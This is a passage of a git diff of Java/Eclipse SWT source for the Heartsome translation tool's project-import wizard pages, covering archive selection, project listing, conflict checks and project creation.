createControl(Composite parent) { + + initializeDialogUnits(parent); + + Composite workArea = new Composite(parent, SWT.NONE); + setControl(workArea); + + workArea.setLayout(new GridLayout()); + workArea.setLayoutData(new GridData(GridData.FILL_BOTH + | GridData.GRAB_HORIZONTAL | GridData.GRAB_VERTICAL)); + + createProjectsRoot(workArea); + createProjectsList(workArea); + restoreWidgetValues(); + Dialog.applyDialogFont(workArea); + + } + + /** + * Create the checkbox list for the found projects. + * + * @param workArea + */ + private void createProjectsList(Composite workArea) { + + Label title = new Label(workArea, SWT.NONE); + title + .setText(DataTransferMessages.WizardProjectsImportPage_ProjectsListTitle); + + Composite listComposite = new Composite(workArea, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.numColumns = 2; + layout.marginWidth = 0; + layout.makeColumnsEqualWidth = false; + listComposite.setLayout(layout); + + listComposite.setLayoutData(new GridData(GridData.GRAB_HORIZONTAL + | GridData.GRAB_VERTICAL | GridData.FILL_BOTH)); + + projectsList = new CheckboxTreeViewer(listComposite, SWT.BORDER); + GridData gridData = new GridData(SWT.FILL, SWT.FILL, true, true); + gridData.widthHint = new PixelConverter(projectsList.getControl()).convertWidthInCharsToPixels(25); + gridData.heightHint = new PixelConverter(projectsList.getControl()).convertHeightInCharsToPixels(10); + projectsList.getControl().setLayoutData(gridData); + projectsList.setContentProvider(new ITreeContentProvider() { + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.viewers.ITreeContentProvider#getChildren(java + * .lang.Object) + */ + public Object[] getChildren(Object parentElement) { + return null; + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.viewers.IStructuredContentProvider#getElements + * (java.lang.Object) + */ + public Object[] getElements(Object inputElement) { + return getProjectRecords(); + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.viewers.ITreeContentProvider#hasChildren(java + * .lang.Object) + */ + public boolean hasChildren(Object element) { + return false; + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.viewers.ITreeContentProvider#getParent(java + * .lang.Object) + */ + public Object getParent(Object element) { + return null; + } + + /* + * (non-Javadoc) + * + * @see org.eclipse.jface.viewers.IContentProvider#dispose() + */ + public void dispose() { + + } + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.viewers.IContentProvider#inputChanged(org.eclipse + * .jface.viewers.Viewer, java.lang.Object, java.lang.Object) + */ + public void inputChanged(Viewer viewer, Object oldInput, + Object newInput) { + } + + }); + + projectsList.setLabelProvider(new ProjectLabelProvider()); + + projectsList.addCheckStateListener(new ICheckStateListener() { + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.viewers.ICheckStateListener#checkStateChanged + * (org.eclipse.jface.viewers.CheckStateChangedEvent) + */ + public void checkStateChanged(CheckStateChangedEvent event) { + ProjectRecord element = (ProjectRecord) event.getElement(); + if(element.hasConflicts) { + projectsList.setChecked(element, false); + } + setPageComplete(projectsList.getCheckedElements().length > 0); + } + }); + + projectsList.setInput(this); + projectsList.setComparator(new ViewerComparator()); + createSelectionButtons(listComposite); + } + + /** + * Create the selection buttons in the listComposite. + * + * @param listComposite + */ + private void createSelectionButtons(Composite listComposite) { + Composite buttonsComposite = new Composite(listComposite, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.marginWidth = 0; + layout.marginHeight = 0; + buttonsComposite.setLayout(layout); + + buttonsComposite.setLayoutData(new GridData( + GridData.VERTICAL_ALIGN_BEGINNING)); + + Button selectAll = new Button(buttonsComposite, SWT.PUSH); + selectAll.setText(DataTransferMessages.DataTransfer_selectAll); + selectAll.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + for (int i = 0; i < selectedProjects.length; i++) { + if(selectedProjects[i].hasConflicts) + projectsList.setChecked(selectedProjects[i], false); + else + projectsList.setChecked(selectedProjects[i], true); + } + setPageComplete(projectsList.getCheckedElements().length > 0); + } + }); + Dialog.applyDialogFont(selectAll); + setButtonLayoutData(selectAll); + + Button deselectAll = new Button(buttonsComposite, SWT.PUSH); + deselectAll.setText(DataTransferMessages.DataTransfer_deselectAll); + deselectAll.addSelectionListener(new SelectionAdapter() { + /* + * (non-Javadoc) + * + * @see + * org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse + * .swt.events.SelectionEvent) + */ + public void widgetSelected(SelectionEvent e) { + + projectsList.setCheckedElements(new Object[0]); + setPageComplete(false); + } + }); + Dialog.applyDialogFont(deselectAll); + setButtonLayoutData(deselectAll); + + Button refresh = new Button(buttonsComposite, SWT.PUSH); + refresh.setText(DataTransferMessages.DataTransfer_refresh); + refresh.addSelectionListener(new SelectionAdapter() { + /* + * (non-Javadoc) + * + * @see + * org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse + * .swt.events.SelectionEvent) + */ + public void widgetSelected(SelectionEvent e) { + updateProjectsList(archivePathField.getText().trim()); + } + }); + Dialog.applyDialogFont(refresh); + setButtonLayoutData(refresh); + } + + /** + * Create the area where you select the root directory for the projects. + * + * @param workArea + * Composite + */ + private void createProjectsRoot(Composite workArea) { + + // project specification group + Composite projectGroup = new Composite(workArea, SWT.NONE); + GridLayout layout = new GridLayout(); + layout.numColumns = 3; + layout.makeColumnsEqualWidth = false; + layout.marginWidth = 0; + projectGroup.setLayout(layout); + projectGroup.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + // new project from archive radio button + projectFromArchiveRadio = new Label(projectGroup, SWT.None); + projectFromArchiveRadio + .setText(DataTransferMessages.WizardProjectsImportPage_ArchiveSelectTitle); + + // project location entry field + archivePathField = new Text(projectGroup, SWT.BORDER); + + GridData archivePathData = new GridData(GridData.HORIZONTAL_ALIGN_FILL | GridData.GRAB_HORIZONTAL); + archivePathData.widthHint = new PixelConverter(archivePathField).convertWidthInCharsToPixels(25); + archivePathField.setLayoutData(archivePathData); // browse button + browseArchivesButton = new Button(projectGroup, SWT.PUSH); + browseArchivesButton.setText(DataTransferMessages.DataTransfer_browse); + setButtonLayoutData(browseArchivesButton); + + browseArchivesButton.addSelectionListener(new SelectionAdapter() { + /* + * (non-Javadoc) + * + * @see + * org.eclipse.swt.events.SelectionAdapter#widgetSelected(org.eclipse + * .swt.events.SelectionEvent) + */ + public void widgetSelected(SelectionEvent e) { + handleLocationArchiveButtonPressed(); + } + + }); + + archivePathField.addTraverseListener(new TraverseListener() { + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.swt.events.TraverseListener#keyTraversed(org.eclipse + * .swt.events.TraverseEvent) + */ + public void keyTraversed(TraverseEvent e) { + if (e.detail == SWT.TRAVERSE_RETURN) { + e.doit = false; + updateProjectsList(archivePathField.getText().trim()); + } + } + + }); + + archivePathField.addFocusListener(new FocusAdapter() { + /* + * (non-Javadoc) + * + * @see + * org.eclipse.swt.events.FocusListener#focusLost(org.eclipse.swt + * .events.FocusEvent) + */ + public void focusLost(org.eclipse.swt.events.FocusEvent e) { + updateProjectsList(archivePathField.getText().trim()); + } + }); + + } + + + /* + * (non-Javadoc) Method declared on IDialogPage. Set the focus on path + * fields when page becomes visible. + */ + public void setVisible(boolean visible) { + super.setVisible(visible); + if (visible) { + this.archivePathField.setFocus(); + } + } + + /** + * Update the list of projects based on path. Method declared public only + * for test suite. + * + * @param path + */ + public void updateProjectsList(final String path) { + // on an empty path empty selectedProjects + if (path == null || path.length() == 0) { + setMessage(Messages.getString("wizard.ImportProjectWizardPage.desc")); + selectedProjects = new ProjectRecord[0]; + projectsList.refresh(true); + projectsList.setCheckedElements(selectedProjects); + setPageComplete(projectsList.getCheckedElements().length > 0); + lastPath = path; + return; + } + + final File directory = new File(path); + long modified = directory.lastModified(); + if (path.equals(lastPath) && lastModified == modified && lastCopyFiles == copyFiles) { + // since the file/folder was not modified and the path did not + // change, no refreshing is required + return; + } + + lastPath = path; + lastModified = modified; + lastCopyFiles = copyFiles; + + // We can't access the radio button from the inner class so get the + // status beforehand + final boolean dirSelected = false; + try { + getContainer().run(true, true, new IRunnableWithProgress() { + + /* + * (non-Javadoc) + * + * @see + * org.eclipse.jface.operation.IRunnableWithProgress#run(org + * .eclipse.core.runtime.IProgressMonitor) + */ + @SuppressWarnings("rawtypes") + public void run(IProgressMonitor monitor) { + + monitor + .beginTask( + DataTransferMessages.WizardProjectsImportPage_SearchingMessage, + 100); + selectedProjects = new ProjectRecord[0]; + Collection files = new ArrayList(); + monitor.worked(10); + if (!dirSelected + && ArchiveFileManipulations.isTarFile(path)) { + TarFile sourceTarFile = getSpecifiedTarSourceFile(path); + if (sourceTarFile == null) { + return; + } + + structureProvider = new TarLeveledStructureProvider( + sourceTarFile); + Object child = structureProvider.getRoot(); + + if (!collectProjectFilesFromProvider(files, child, 0, + monitor)) { + return; + } + Iterator filesIterator = files.iterator(); + selectedProjects = new ProjectRecord[files.size()]; + int index = 0; + monitor.worked(50); + monitor + .subTask(DataTransferMessages.WizardProjectsImportPage_ProcessingMessage); + while (filesIterator.hasNext()) { + selectedProjects[index++] = (ProjectRecord) filesIterator + .next(); + } + } else if (!dirSelected + && ArchiveFileManipulations.isZipFile(path)) { + ZipFile sourceFile = getSpecifiedZipSourceFile(path); + if (sourceFile == null) { + return; + } + structureProvider = new ZipLeveledStructureProvider( + sourceFile); + Object child = structureProvider.getRoot(); + + if (!collectProjectFilesFromProvider(files, child, 0, + monitor)) { + return; + } + Iterator filesIterator = files.iterator(); + selectedProjects = new ProjectRecord[files.size()]; + int index = 0; + monitor.worked(50); + monitor + .subTask(DataTransferMessages.WizardProjectsImportPage_ProcessingMessage); + while (filesIterator.hasNext()) { + selectedProjects[index++] = (ProjectRecord) filesIterator + .next(); + } + } else { + monitor.worked(60); + } + monitor.done(); + } + + }); + } catch (InvocationTargetException e) { + IDEWorkbenchPlugin.log(e.getMessage(), e); + } catch (InterruptedException e) { + // Nothing to do if the user interrupts. + } + + projectsList.refresh(true); + ProjectRecord[] projects = getProjectRecords(); + boolean displayWarning = false; + for (int i = 0; i < projects.length; i++) { + if(projects[i].hasConflicts) { + displayWarning = true; + projectsList.setGrayed(projects[i], true); + }else { + projectsList.setChecked(projects[i], true); + } + } + + if (displayWarning) { + setMessage( + DataTransferMessages.WizardProjectsImportPage_projectsInWorkspace, + WARNING); + } else { + setMessage(""); + } + setPageComplete(projectsList.getCheckedElements().length > 0); + if(selectedProjects.length == 0) { + setMessage( + DataTransferMessages.WizardProjectsImportPage_noProjectsToImport, + WARNING); + } + } + + /** + * Answer a handle to the zip file currently specified as being the source. + * Return null if this file does not exist or is not of valid format. + */ + private ZipFile getSpecifiedZipSourceFile(String fileName) { + if (fileName.length() == 0) { + return null; + } + + try { + return new ZipFile(fileName); + } catch (ZipException e) { + displayErrorDialog(DataTransferMessages.ZipImport_badFormat); + } catch (IOException e) { + displayErrorDialog(DataTransferMessages.ZipImport_couldNotRead); + } + + archivePathField.setFocus(); + return null; + } + + /** + * Answer a handle to the zip file currently specified as being the source. + * Return null if this file does not exist or is not of valid format. + */ + private TarFile getSpecifiedTarSourceFile(String fileName) { + if (fileName.length() == 0) { + return null; + } + + try { + return new TarFile(fileName); + } catch (TarException e) { + displayErrorDialog(DataTransferMessages.TarImport_badFormat); + } catch (IOException e) { + displayErrorDialog(DataTransferMessages.ZipImport_couldNotRead); + } + + archivePathField.setFocus(); + return null; + } + + /** + * Display an error dialog with the specified message. + * + * @param message + * the error message + */ + protected void displayErrorDialog(String message) { + MessageDialog.open(MessageDialog.ERROR, getContainer().getShell(), + getErrorDialogTitle(), message, SWT.SHEET); + } + + /** + * Get the title for an error dialog. Subclasses should override. + */ + protected String getErrorDialogTitle() { + return IDEWorkbenchMessages.WizardExportPage_internalErrorTitle; + } + + /** + * Collect the list of .project files that are under directory into files. + * + * @param files + * @param monitor + * The monitor to report to + * @return boolean true if the operation was completed. + */ + private boolean collectProjectFilesFromProvider(Collection files, + Object entry, int level, IProgressMonitor monitor) { + + if (monitor.isCanceled()) { + return false; + } + monitor.subTask(NLS.bind( + DataTransferMessages.WizardProjectsImportPage_CheckingMessage, + structureProvider.getLabel(entry))); + List children = structureProvider.getChildren(entry); + if (children == null) { + children = new ArrayList(1); + } + Iterator childrenEnum = children.iterator(); + while (childrenEnum.hasNext()) { + Object child = childrenEnum.next(); + if (structureProvider.isFolder(child)) { + collectProjectFilesFromProvider(files, child, level + 1, + monitor); + } + String elementLabel = structureProvider.getLabel(child); + if (elementLabel.equals(IProjectDescription.DESCRIPTION_FILE_NAME)) { + files.add(new ProjectRecord(child, entry, level)); + } + } + return true; + } + + /** + * The browse button has been selected. Select the location. + */ + protected void handleLocationArchiveButtonPressed() { + + FileDialog dialog = new FileDialog(archivePathField.getShell(), SWT.SHEET); + dialog.setFilterExtensions(FILE_IMPORT_MASK); + dialog + .setText(DataTransferMessages.WizardProjectsImportPage_SelectArchiveDialogTitle); + + String fileName = archivePathField.getText().trim(); + if (fileName.length() == 0) { + fileName = previouslyBrowsedArchive; + } + + if (fileName.length() == 0) { + dialog.setFilterPath(IDEWorkbenchPlugin.getPluginWorkspace() + .getRoot().getLocation().toOSString()); + } else { + File path = new File(fileName).getParentFile(); + if (path != null && path.exists()) { + dialog.setFilterPath(path.toString()); + } + } + + String selectedArchive = dialog.open(); + if (selectedArchive != null) { + previouslyBrowsedArchive = selectedArchive; + archivePathField.setText(previouslyBrowsedArchive); + updateProjectsList(selectedArchive); + } + + } + + /** + * Create the selected projects + * + * @return boolean true if all project creations were + * successful. + */ + public boolean createProjects() { + saveWidgetValues(); + + final Object[] selected = projectsList.getCheckedElements(); + createdProjects = new ArrayList(); + WorkspaceModifyOperation op = new WorkspaceModifyOperation() { + protected void execute(IProgressMonitor monitor) + throws InvocationTargetException, InterruptedException { + try { + monitor.beginTask("", selected.length); //$NON-NLS-1$ + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + for (int i = 0; i < selected.length; i++) { + createExistingProject((ProjectRecord) selected[i], + new SubProgressMonitor(monitor, 1)); + } + } finally { + monitor.done(); + } + } + }; + // run the new project creation operation + try { + getContainer().run(true, true, op); + } catch (InterruptedException e) { + return false; + } catch (InvocationTargetException e) { + // one of the steps resulted in a core exception + Throwable t = e.getTargetException(); + String message = DataTransferMessages.WizardExternalProjectImportPage_errorMessage; + IStatus status; + if (t instanceof CoreException) { + status = ((CoreException) t).getStatus(); + } else { + status = new Status(IStatus.ERROR, + IDEWorkbenchPlugin.IDE_WORKBENCH, 1, message, t); + } + ErrorDialog.openError(getShell(), message, null, status); + return false; + } + ArchiveFileManipulations.closeStructureProvider(structureProvider, + getShell()); + + return true; + } + + List createdProjects; + + /** + * Performs clean-up if the user cancels the wizard without doing anything + */ + public void performCancel() { + ArchiveFileManipulations.closeStructureProvider(structureProvider, + getShell()); + } + + /** + * Create the project described in record. If it is successful return true. + * + * @param record + * @return boolean true if successful + * @throws InterruptedException + */ + private boolean createExistingProject(final ProjectRecord record, + IProgressMonitor monitor) throws InvocationTargetException, + InterruptedException { + String projectName = record.getProjectName(); + final IWorkspace workspace = ResourcesPlugin.getWorkspace(); + final IProject project = workspace.getRoot().getProject(projectName); + createdProjects.add(project); + if (record.description == null) { + // error case + record.description = workspace.newProjectDescription(projectName); + IPath locationPath = new Path(record.projectSystemFile + .getAbsolutePath()); + + // If it is under the root use the default location + if (Platform.getLocation().isPrefixOf(locationPath)) { + record.description.setLocation(null); + } else { + record.description.setLocation(locationPath); + } + } else { + record.description.setName(projectName); + } + if (record.projectArchiveFile != null) { + // import from archive + List fileSystemObjects = structureProvider + .getChildren(record.parent); + structureProvider.setStrip(record.level); + ImportOperation operation = new ImportOperation(project + .getFullPath(), structureProvider.getRoot(), + structureProvider, this, fileSystemObjects); + operation.setContext(getShell()); + operation.run(monitor); + return true; + } + // import from file system + File importSource = null; + if (copyFiles) { + // import project from location copying files - use default project + // location for this workspace + URI locationURI = record.description.getLocationURI(); + // if location is null, project already exists in this location or + // some error condition occured. + if (locationURI != null) { + // validate the location of the project being copied + IStatus result = ResourcesPlugin.getWorkspace().validateProjectLocationURI(project, + locationURI); + if(!result.isOK()) + throw new InvocationTargetException(new CoreException(result)); + + importSource = new File(locationURI); + IProjectDescription desc = workspace + .newProjectDescription(projectName); + desc.setBuildSpec(record.description.getBuildSpec()); + desc.setComment(record.description.getComment()); + desc.setDynamicReferences(record.description + .getDynamicReferences()); + desc.setNatureIds(record.description.getNatureIds()); + desc.setReferencedProjects(record.description + .getReferencedProjects()); + record.description = desc; + } + } + + try { + monitor + .beginTask( + DataTransferMessages.WizardProjectsImportPage_CreateProjectsTask, + 100); + project.create(record.description, new SubProgressMonitor(monitor, + 30)); + project.open(IResource.BACKGROUND_REFRESH, new SubProgressMonitor( + monitor, 70)); + } catch (CoreException e) { + throw new InvocationTargetException(e); + } finally { + monitor.done(); + } + + // import operation to import project files if copy checkbox is selected + if (copyFiles && importSource != null) { + List filesToImport = FileSystemStructureProvider.INSTANCE + .getChildren(importSource); + ImportOperation operation = new ImportOperation(project + .getFullPath(), importSource, + FileSystemStructureProvider.INSTANCE, this, filesToImport); + operation.setContext(getShell()); + operation.setOverwriteResources(true); // need to overwrite + // .project, .classpath + // files + operation.setCreateContainerStructure(false); + operation.run(monitor); + } + + return true; + } + + /** + * The WizardDataTransfer implementation of this + * IOverwriteQuery method asks the user whether the existing + * resource at the given path should be overwritten. + * + * @param pathString + * @return the user's reply: one of "YES", "NO", + * "ALL", or "CANCEL" + */ + public String queryOverwrite(String pathString) { + + Path path = new Path(pathString); + + String messageString; + // Break the message up if there is a file name and a directory + // and there are at least 2 segments. + if (path.getFileExtension() == null || path.segmentCount() < 2) { + messageString = NLS.bind( + IDEWorkbenchMessages.WizardDataTransfer_existsQuestion, + pathString); + } else { + messageString = NLS + .bind( + IDEWorkbenchMessages.WizardDataTransfer_overwriteNameAndPathQuestion, + path.lastSegment(), path.removeLastSegments(1) + .toOSString()); + } + + final MessageDialog dialog = new MessageDialog(getContainer() + .getShell(), IDEWorkbenchMessages.Question, null, + messageString, MessageDialog.QUESTION, new String[] { + IDialogConstants.YES_LABEL, + IDialogConstants.YES_TO_ALL_LABEL, + IDialogConstants.NO_LABEL, + IDialogConstants.NO_TO_ALL_LABEL, + IDialogConstants.CANCEL_LABEL }, 0) { + protected int getShellStyle() { + return super.getShellStyle() | SWT.SHEET; + } + }; + String[] response = new String[] { YES, ALL, NO, NO_ALL, CANCEL }; + // run in syncExec because callback is from an operation, + // which is probably not running in the UI thread. + getControl().getDisplay().syncExec(new Runnable() { + public void run() { + dialog.open(); + } + }); + return dialog.getReturnCode() < 0 ? CANCEL : response[dialog + .getReturnCode()]; + } + + /** + * Method used for test suite. + * + * @return CheckboxTreeViewer the viewer containing all the projects found + */ + public CheckboxTreeViewer getProjectsList() { + return projectsList; + } + + /** + * Retrieve all the projects in the current workspace. + * + * @return IProject[] array of IProject in the current workspace + */ + private IProject[] getProjectsInWorkspace() { + if (wsProjects == null) { + wsProjects = IDEWorkbenchPlugin.getPluginWorkspace().getRoot() + .getProjects(); + } + return wsProjects; + } + + /** + * Get the array of project records that can be imported from the + * source workspace or archive, selected by the user. If a project with the + * same name exists in both the source workspace and the current workspace, + * then the hasConflicts flag would be set on that project record. + * + * Method declared public for test suite. + * + * @return ProjectRecord[] array of projects that can be imported into the + * workspace + */ + public ProjectRecord[] getProjectRecords() { + List projectRecords = new ArrayList(); + for (int i = 0; i < selectedProjects.length; i++) { + if ( (isProjectInWorkspacePath(selectedProjects[i].getProjectName()) && copyFiles)|| + isProjectInWorkspace(selectedProjects[i].getProjectName())) { + selectedProjects[i].hasConflicts = true; + } + projectRecords.add(selectedProjects[i]); + } + return (ProjectRecord[]) projectRecords + .toArray(new ProjectRecord[projectRecords.size()]); + } + + /** + * Determine if there is a directory with the project name in the workspace path. + * + * @param projectName the name of the project + * @return true if there is a directory with the same name of the imported project + */ + private boolean isProjectInWorkspacePath(String projectName){ + final IWorkspace workspace = ResourcesPlugin.getWorkspace(); + IPath wsPath = workspace.getRoot().getLocation(); + IPath localProjectPath = wsPath.append(projectName); + return localProjectPath.toFile().exists(); + } + + /** + * Determine if the project with the given name is in the current workspace. + * + * @param projectName + * String the project name to check + * @return boolean true if the project with the given name is in this + * workspace + */ + private boolean isProjectInWorkspace(String projectName) { + if (projectName == null) { + return false; + } + IProject[] workspaceProjects = getProjectsInWorkspace(); + for (int i = 0; i < workspaceProjects.length; i++) { + if (projectName.equals(workspaceProjects[i].getName())) { + return true; + } + } + return false; + } + + /** + * Use the dialog store to restore widget values to the values that they + * held last time this wizard was used to completion, or alternatively, + * if an initial path is specified, use it to select values. + * + * Method declared public only for use of tests. + */ + public void restoreWidgetValues() { + + // First, check to see if we have resore settings, and + // take care of the checkbox + IDialogSettings settings = getDialogSettings(); + if (settings != null) { + // checkbox + copyFiles = settings.getBoolean(STORE_COPY_PROJECT_ID); + lastCopyFiles = copyFiles; + } + + // Third, if we do have an initial path, set the proper + // path and radio buttons to the initial value. Move + // cursor to the end of the path so user can see the + // most relevant part (directory / archive name) + else if (initialPath != null) { + boolean dir = new File(initialPath).isDirectory(); + if (!dir) { + archivePathField.setText(initialPath); + archivePathField.setSelection(initialPath.length()); + } + } + } + + /** + * Since Finish was pressed, write widget values to the dialog store so that + * they will persist into the next invocation of this wizard page. + * + * Method declared public only for use of tests. + */ + public void saveWidgetValues() { + IDialogSettings settings = getDialogSettings(); + if (settings != null) { + settings.put(STORE_COPY_PROJECT_ID, true); + + settings.put(STORE_ARCHIVE_SELECTED, true); + } + } +} diff --git a/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizardPage2.java b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizardPage2.java new file mode 100644 index 0000000..6aeb9fd --- /dev/null +++ b/ts/net.heartsome.cat.ts.importproject/src/net/heartsome/cat/ts/importproject/wizards/ImportProjectWizardPage2.java @@ -0,0 +1,1333 @@ +package net.heartsome.cat.ts.importproject.wizards; + +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.lang.reflect.InvocationTargetException; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Set; +import java.util.zip.ZipEntry; +import java.util.zip.ZipException; +import java.util.zip.ZipFile; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.ts.importproject.Activator; +import net.heartsome.cat.ts.importproject.resource.Messages; +import net.heartsome.cat.ts.importproject.widgiet.ProjectResource; +import net.heartsome.cat.ts.importproject.widgiet.ResourceTree; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.IProjectDescription; +import org.eclipse.core.resources.IResource; +import org.eclipse.core.resources.IWorkspaceRoot; +import org.eclipse.core.resources.ResourcesPlugin; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IPath; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.NullProgressMonitor; +import org.eclipse.core.runtime.Path; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.CheckStateChangedEvent; +import org.eclipse.jface.viewers.ICheckStateListener; +import org.eclipse.jface.viewers.IColorProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.ITreeContentProvider; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.Viewer; +import org.eclipse.jface.wizard.WizardPage; +import org.eclipse.osgi.util.NLS; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.graphics.Color; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Listener; +import org.eclipse.swt.widgets.Text; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IEditorReference; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.internal.wizards.datatransfer.ArchiveFileManipulations; +import org.eclipse.ui.internal.wizards.datatransfer.DataTransferMessages; +import org.eclipse.ui.internal.wizards.datatransfer.ILeveledImportStructureProvider; +import org.eclipse.ui.internal.wizards.datatransfer.TarEntry; +import org.eclipse.ui.internal.wizards.datatransfer.TarException; +import org.eclipse.ui.internal.wizards.datatransfer.TarFile; +import org.eclipse.ui.internal.wizards.datatransfer.TarLeveledStructureProvider; +import org.eclipse.ui.internal.wizards.datatransfer.ZipLeveledStructureProvider; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 导入项目新的需求设计 + * @author robert 2013-02-27 + */ +public class ImportProjectWizardPage2 extends WizardPage implements Listener { + private static final String[] FILE_IMPORT_MASK = {"*.hszip", "*" }; + private static final String XLIFF_EDITOR_ID = "net.heartsome.cat.ts.ui.xliffeditor.nattable.editor"; + private static final String HTML_EDITOR_ID = "net.heartsome.cat.ts.ui.editor.HtmlBrowser"; + + /** 项目的图标 */ + private Image projectImg; + /** 文件夹的图标 */ + private Image folderImg; + /** hsXliff 文件的图标 */ + private Image hsXLiffImg; + /** html 的图标 */ + private Image htmlImg; + private Image defaultImg; + private Map imgMap; + + + private String previouslyBrowsedPath = ""; + private Text filePathTxt; + private Button browseBtn; + /** 左边显示所有内容,包括项目,文件夹,文件的树 */ + private ResourceTree selectElementTree; + /** å³è¾¹æ˜¾ç¤ºå·¦è¾¹é€‰ä¸­è¦å¯¼å…¥èµ„æºçš„é‡å¤æ–‡ä»¶æˆ–é‡å¤çš„文件夹 */ + private ResourceTree repeatElementTree; + private Button leftSelectAllBtn; + private Button leftDisSelectAllBtn; + private Button leftAllExpandBtn; + private Button rightSelectAllBtn; + private Button rightDisSelectAllBtn; + private Button rightAllExpandBtn; + private SelectProjectContentProvider selectContentProvider; + private RepeatProjectContentProvider repeateContentProvider; + + /** 默认导入的资æºï¼Œå³è¿™äº›èµ„æºæ˜¯ä¸ä¼šæ˜¾ç¤ºåœ¨èµ„æºæ ‘上的 */ + private List defaultImportItemList = new ArrayList(); + private ProjectRecord[] selectedProjects = new ProjectRecord[0]; + @SuppressWarnings("restriction") + private ILeveledImportStructureProvider structureProvider; + // The last selected path to minimize searches + private String lastPath; + // The last time that the file or folder at the selected path was modified to mimize searches + private long lastModified; + private boolean copyFiles = true; + private boolean lastCopyFiles = false; + /** 左边资æºæ ‘选择文件åŽï¼Œé‡å¤çš„èµ„æº */ + private Map> checkedRepeatElementMap = new HashMap>(); + private IWorkspaceRoot root; + private IWorkbenchPage page; + /** åˆå§‹åŒ–时,所有的根项目 */ + private ProjectResource[] rootProjectArray; + private int totalWorkSum = 0; + private boolean runContinue = false; + private Map openedIfileMap; + + private final int INIT_TYPE =0; + private final int OTHER_TYPE =1; + + private Logger LOGGER = LoggerFactory.getLogger(ImportProjectWizardPage2.class.getName()); + + @SuppressWarnings("restriction") + protected ImportProjectWizardPage2(String pageName,String initialPath, IStructuredSelection currentSelection) { + super(pageName); + setTitle(DataTransferMessages.DataTransfer_importTitle); + + initData(); + } + + private void initData(){ + root = ResourcesPlugin.getWorkspace().getRoot(); + page = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage(); + + projectImg = Activator.getImageDescriptor("images/prj_open.png").createImage(); + folderImg = Activator.getImageDescriptor("images/folder.png").createImage(); + hsXLiffImg = Activator.getImageDescriptor("images/hsxliff.png").createImage(); + htmlImg = Activator.getImageDescriptor("images/html.png").createImage(); + defaultImg = Activator.getImageDescriptor("images/file_obj.png").createImage(); + imgMap = new HashMap(); + } + + public void createControl(Composite parent) { + GridDataFactory.fillDefaults().hint(800, 450).grab(true, true).applyTo(parent); + Composite tparent = new Composite(parent, SWT.NONE); + GridDataFactory.fillDefaults().hint(600, 600).grab(true, true).applyTo(tparent); + tparent.setLayout(new GridLayout()); + initializeDialogUnits(parent); + + createBrowseBtn(tparent); + createResourceTree(tparent); + + setControl(parent); + setPageCompleteState(INIT_TYPE); + setImageDescriptor(Activator.getImageDescriptor("images/importProject_logo.png")); + } + + /** + * 创建 æµè§ˆ 文件按钮 + * @param tparent + */ + private void createBrowseBtn(Composite tparent){ + Composite btnCmp = new Composite(tparent, SWT.NONE); + btnCmp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + btnCmp.setLayout(new GridLayout(3, false)); + + Label lbl = new Label(btnCmp, SWT.NONE); + lbl.setText(Messages.getString("importProjectWizardPage.selectFileLbl")); + + filePathTxt = new Text(btnCmp, SWT.BORDER); + filePathTxt.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + browseBtn = new Button(btnCmp, SWT.NONE); + browseBtn.setText(Messages.getString("importProjectWizardPage.broswer")); + browseBtn.addListener(SWT.Selection, this); + } + + + /** + * 创建两颗显示资æºæ ‘ + */ + private void createResourceTree(Composite tparent){ + Composite resourceTreeCmp = new Composite(tparent, SWT.NONE); + resourceTreeCmp.setLayoutData(new GridData(GridData.FILL_BOTH)); + resourceTreeCmp.setLayout(new 